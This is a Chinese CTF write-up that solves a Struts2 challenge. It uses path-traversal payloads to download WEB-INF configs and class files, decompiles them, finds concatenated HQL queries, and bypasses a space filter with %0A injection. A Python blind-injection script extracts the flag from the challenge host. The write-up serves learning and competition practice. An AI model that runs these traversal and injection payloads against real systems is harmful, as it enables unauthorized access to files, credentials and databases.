拿到题目进行目录遍历发现有一个/list文件
打开/list文件,发现是一个登录界面
尝试过爆破,毫无疑问不可能成功。
刷新页面,抓包,然后放一个包,发现又发了一个请求。
GET /loadimage?fileName=web_login_bg.jpg HTTP/1.1
通过/loadimage?fileName=web_login_bg.jpg
拿到了图片。然后尝试不同的文件格式查看,最后确定是xml格式。
既然知道了服务器的地址和请求路径,我们就通过路径访问得到项目的xml配置文件,于是构造payload:
/loadimage?fileName=../../WEB-INF/web.xml
是个下载文件,bg.jpg。
javaweb项目的特点,那么java项目就有一个特点了/WEB-INF/web.xml这是肯定存在的。
将其改成xml文件,查看源码
<?xml version="1.0" encoding="UTF-8"?>
<web-app id="WebApp_9" version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<display-name>Struts Blank</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>/ctfpage/index.jsp</welcome-file>
</welcome-file-list>
<error-page>
<error-code>404</error-code>
<location>/ctfpage/404.html</location>
</error-page>
</web-app>
可以看到,该项目使用的struts2框架,struts.xml是struts2的核心配置文件,该文件主要负责管理应用中的Action映射,以及该Action包含的Result定义等,因此我们需要读取struts.xml看看,构造payload:
/loadimage?fileName=../../WEB-INF/classes/struts.xml
又得到一个jpg文件,改成xml文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<constant name="strutsenableDynamicMethodInvocation" value="false"/>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<constant name="struts.action.extension" value=","/>
<package name="front" namespace="/" extends="struts-default">
<global-exception-mappings>
<exception-mapping exception="java.lang.Exception" result="error"/>
</global-exception-mappings>
<action name="zhuanxvlogin" class="com.cuitctf.action.UserLoginAction" method="execute">
<result name="error">/ctfpage/login.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
<action name="loadimage" class="com.cuitctf.action.DownloadAction">
<result name="success" type="stream">
<param name="contentType">image/jpeg</param>
<param name="contentDisposition">attachment;filename="bg.jpg"</param>
<param name="inputName">downloadFile</param>
</result>
<result name="suffix_error">/ctfpage/welcome.jsp</result>
</action>
</package>
<package name="back" namespace="/" extends="struts-default">
<interceptors>
<interceptor name="oa" class="com.cuitctf.util.UserOAuth"/>
<interceptor-stack name="userAuth">
<interceptor-ref name="defaultStack" />
<interceptor-ref name="oa" />
</interceptor-stack>
</interceptors>
<action name="list" class="com.cuitctf.action.AdminAction" method="execute">
<interceptor-ref name="userAuth">
<param name="excludeMethods">
execute
</param>
</interceptor-ref>
<result name="login_error">/ctfpage/login.jsp</result>
<result name="list_error">/ctfpage/welcome.jsp</result>
<result name="success">/ctfpage/welcome.jsp</result>
</action>
</package>
</struts>
看到有很多class,这就是所谓的映射文件,如
表示访问loadimage路径时候,会去找字节码com.cuitctf.action.DownloadAction
文件去加载内容,我们构造payload:
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/DownloadAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/AdminAction.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/UserOAuth.class
下载下来后请记得修改文件名称.class
,然后在IDEA使用decompiler插件进行反编译,挨个查看后,发现UserLoginAction.class
反编译出来的内容与登录页面最为相关
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.cuitctf.action;
import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import com.cuitctf.util.InitApplicationContext;
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.ActionSupport;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.springframework.context.ApplicationContext;
public class UserLoginAction extends ActionSupport {
private UserService userService;
private User user;
public UserLoginAction() {
ApplicationContext context = InitApplicationContext.getApplicationContext();
this.userService = (UserService)context.getBean("userService");
}
public String execute() throws Exception {
System.out.println("start:" + this.user.getName());
ActionContext actionContext = ActionContext.getContext();
Map<String, Object> request = (Map)actionContext.get("request");
try {
if (!this.userCheck(this.user)) {
request.put("error", "登录失败,请检查用户名和密码");
System.out.println("登陆失败");
return "error";
}
} catch (Exception var4) {
var4.printStackTrace();
throw var4;
}
System.out.println("login SUCCESS");
ActionContext.getContext().getSession().put("user", this.user);
return "success";
}
public boolean isValid(String username) {
String valiidateString = "[a-zA-Z0-9]{1-16}";
return matcher(valiidateString, username);
}
private static boolean matcher(String reg, String string) {
boolean tem = false;
Pattern pattern = Pattern.compile(reg);
Matcher matcher = pattern.matcher(string);
tem = matcher.matches();
return tem;
}
public boolean userCheck(User user) {
List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
if (userList != null && userList.size() == 1) {
return true;
} else {
this.addActionError("Username or password is Wrong, please check!");
return false;
}
}
public UserService getUserService() {
return this.userService;
}
public void setUserService(UserService userService) {
this.userService = userService;
}
public User getUser() {
return this.user;
}
public void setUser(User user) {
this.user = user;
}
}
其中引入了重要的几个包,因此构造payload,拿到源码:
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/po/User.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/UserService.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/util/InitApplicationContext.class
User.class反编译后是一个Bean文件,UserLoginAction.class反编译后是登录验证逻辑文件,InitApplicationContext.class反编译后是类加载器文件
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.cuitctf.util;
import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class InitApplicationContext {
private static ApplicationContext context = null;
private InitApplicationContext() {
}
public static ApplicationContext getApplicationContext() {
if (context == null) {
context = new ClassPathXmlApplicationContext("applicationContext.xml");
}
return context;
}
}
加载应用的xml配置文件为applicationContext.xml
,该文件一般是项目的启动配置文件,包括数据库等,同样构造payload,如下:
/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
下载后可以得到文件代码,如下
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName">
<value>com.mysql.jdbc.Driver</value>
</property>
<property name="url">
<value>jdbc:mysql://localhost:3306/sctf</value>
</property>
<property name="username" value="root"/>
<property name="password" value="root" />
</bean>
<bean id="sessionFactory" class="org.springframework.orm.hibernate3.LocalSessionFactoryBean">
<property name="dataSource">
<ref bean="dataSource"/>
</property>
<property name="mappingLocations">
<value>user.hbm.xml</value>
</property>
<property name="hibernateProperties">
<props>
<prop key="hibernate.dialect">org.hibernate.dialect.MySQLDialect</prop>
<prop key="hibernate.show_sql">true</prop>
</props>
</property>
</bean>
<bean id="hibernateTemplate" class="org.springframework.orm.hibernate3.HibernateTemplate">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="transactionManager" class="org.springframework.orm.hibernate3.HibernateTransactionManager">
<property name="sessionFactory">
<ref bean="sessionFactory"/>
</property>
</bean>
<bean id="service" class="org.springframework.transaction.interceptor.TransactionProxyFactoryBean" abstract="true">
<property name="transactionManager">
<ref bean="transactionManager"/>
</property>
<property name="transactionAttributes">
<props>
<prop key="add">PROPAGATION_REQUIRED</prop>
<prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>
</props>
</property>
</bean>
<bean id="userDAO" class="com.cuitctf.dao.impl.UserDaoImpl">
<property name="hibernateTemplate">
<ref bean="hibernateTemplate"/>
</property>
</bean>
<bean id="userService" class="com.cuitctf.service.impl.UserServiceImpl">
<property name="userDao">
<ref bean="userDAO"/>
</property>
</bean>
</beans>
其中暴露了使用的数据库,数据库账号密码,且其中包含了user.hbm.xml等配置文件,同样我们将其下载出来
/loadimage?fileName=../../WEB-INF/classes/user.hbm.xml
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/service/impl/UserServiceImpl.class
/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/dao/impl/UserDaoImpl.class
<?xml version="1.0"?>
<!DOCTYPE hibernate-mapping PUBLIC
"-//Hibernate/Hibernate Mapping DTD 3.0//EN"
"http://hibernate.sourceforge.net/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.cuitctf.po">
<class name="User" table="hlj_members">
<id name="id" column="user_id">
<generator class="identity"/>
</id>
<property name="name"/>
<property name="password"/>
</class>
<class name="Flag" table="bc3fa8be0db46a3610db3ca0ec794c0b">
<id name="flag" column="welcometoourctf">
<generator class="identity"/>
</id>
<property name="flag"/>
</class>
</hibernate-mapping>
UserServiceImpl.class反编译后,是对登录信息进行了过滤
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.cuitctf.service.impl;
import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import com.cuitctf.service.UserService;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class UserServiceImpl implements UserService {
private UserDao userDao;
public UserServiceImpl() {
}
public UserDao gerUserDao() {
return this.userDao;
}
public void setUserDao(UserDao userDao) {
this.userDao = userDao;
}
public List<User> findUserByName(String name) {
return this.userDao.findUserByName(name);
}
public List<User> loginCheck(String name, String password) {
name = name.replaceAll(" ", "");
name = name.replaceAll("=", "");
Matcher username_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(name);
Matcher password_matcher = Pattern.compile("^[0-9a-zA-Z]+$").matcher(password);
return password_matcher.find() ? this.userDao.loginCheck(name, password) : null;
}
}
UserDaoImpl.class反编译后,是对登录的sql查找
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.cuitctf.dao.impl;
import com.cuitctf.dao.UserDao;
import com.cuitctf.po.User;
import java.util.List;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
public class UserDaoImpl extends HibernateDaoSupport implements UserDao {
public UserDaoImpl() {
}
public List<User> findUserByName(String name) {
return this.getHibernateTemplate().find("from User where name ='" + name + "'");
}
public List<User> loginCheck(String name, String password) {
return this.getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");
}
}
上面的sql语句使用HSQL,什么是HSQL,参考https://www.cnblogs.com/fengyouheng/p/11013013.html。因此构造登录账号密码:
from User where name ='admin' or '1'>'0' or name like 'admin' and password = '" + password + "'
UserServiceImpl.class反编译后代码中是对空格进行了过滤,而sql中对回车自动过滤, 因此我们可以将空格字符换成%0A(ascii码表示换行符)。于是使用hackbar进行翻译,得到新的注入sql的payload:
admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
因此用户名:admin’%0Aor%0A’1’>‘0’%0Aor%0Aname%0Alike%0A’admin
密码:随意
这里登录不能使用post传输,所以我们所以hackbar关掉post,直接加后面作payload
/zhuanxvlogin?user.name=admin'%0Aor%0A'1'>'0'%0Aor%0Aname%0Alike%0A'admin
&user.password=123#
很可惜进来了还是没有一点线索。。。。。
最终只能考大佬的脚本了
import requests
s = requests.session()
flag = ''
for i in range(1, 50):
p = ''
for j in range(1, 255):
# (select ascii(substr(id, "+str(i)+", 1)) from Flag where id < 2) < '
payload = "(select%0Aascii(substr(id," + str(i) + ",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'" + str(j) + "'"
# print payload
url = "http://61.147.171.105:50156/zhuanxvlogin?user.name=admin'%0Aor%0A" + payload + "%0Aor%0Aname%0Alike%0A'admin&user.password=123"
r1 = s.get(url)
if len(r1.text) > 20000 and p != '':
flag += p
#print(i, flag)
break
p = chr(j)
print(flag)
sctf{C46E250926A2DFFD831975396222B08E}